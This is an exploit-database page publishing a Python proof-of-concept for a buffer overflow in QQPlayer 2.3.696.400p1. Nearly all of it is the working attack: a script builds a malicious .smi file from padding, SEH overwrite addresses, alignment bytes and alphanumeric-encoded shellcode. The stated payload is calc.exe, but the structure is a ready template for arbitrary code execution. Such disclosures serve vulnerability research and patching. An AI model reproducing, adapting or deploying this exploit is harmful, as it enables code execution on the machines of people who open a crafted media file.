QQPlayer 2.3.696.400p1 - smi File Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

QQPlayer smi File Buffer Overflow Exploit by Lufeng Li of Neusoft Corporation for Windows XPSP


                                                #!/usr/bin/env python

#################################################################
#
# Title: QQPlayer smi File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400p1
# Vulnerable: QQPlayer&#60;=2.3.696.400p1
# Exploit-DB Notes: A different SEH addr might be necessary for XP SP3 ENG.
#            Make sure EAX aligns to the shellcode before decoding.
# Payload=calc.exe
#
#################################################################
# Code :

head =&#39;&#39;&#39;&#60;smil&#62;
 &#60;head&#62;
  &#60;meta name=&#34;title&#34; content=&#34;_&#34;/&#62;
  &#60;meta name=&#34;author&#34; content=&#34;Warner Music Group&#39;&#39;&#39;

junk = &#34;A&#34; * 2001
nseh =&#34;\x42\x61\x21\x61&#34;
seh  =&#34;\x39\x0c\x41\x00&#34;
adjust=&#34;\x30\x83\xc0\x0b&#34;
shellcode=(&#34;PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV&#34;
           &#34;QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL&#34;
           &#34;KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9&#34;
           &#34;QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW&#34;
           &#34;TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R&#34;
           &#34;HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA&#34;)
junk_=&#34;R&#34;*8000
foot =&#39;&#39;&#39;&#34;/&#62;
 &#60;/head&#62;
 &#60;body&#62;
   &#60;seq&#62;
    &#60;video src=&#34;rtsp://sos08-1-rm.eams.net/lis/424444/.uid.M0001&#34; title=&#34;_&#34;fill=&#34;freeze&#34;/&#62;
  &#60;/seq&#62;
 &#60;/body&#62;
&#60;/smil&#62;
&#60;!-- Generated by Akamai Stream OS BOSS (v10.0.14-20100129) / d366992c --&#62;&#39;&#39;&#39;
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open(&#34;poc.smi&#34;,&#34;w&#34;)
fobj.write(payload)
fobj.close()

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1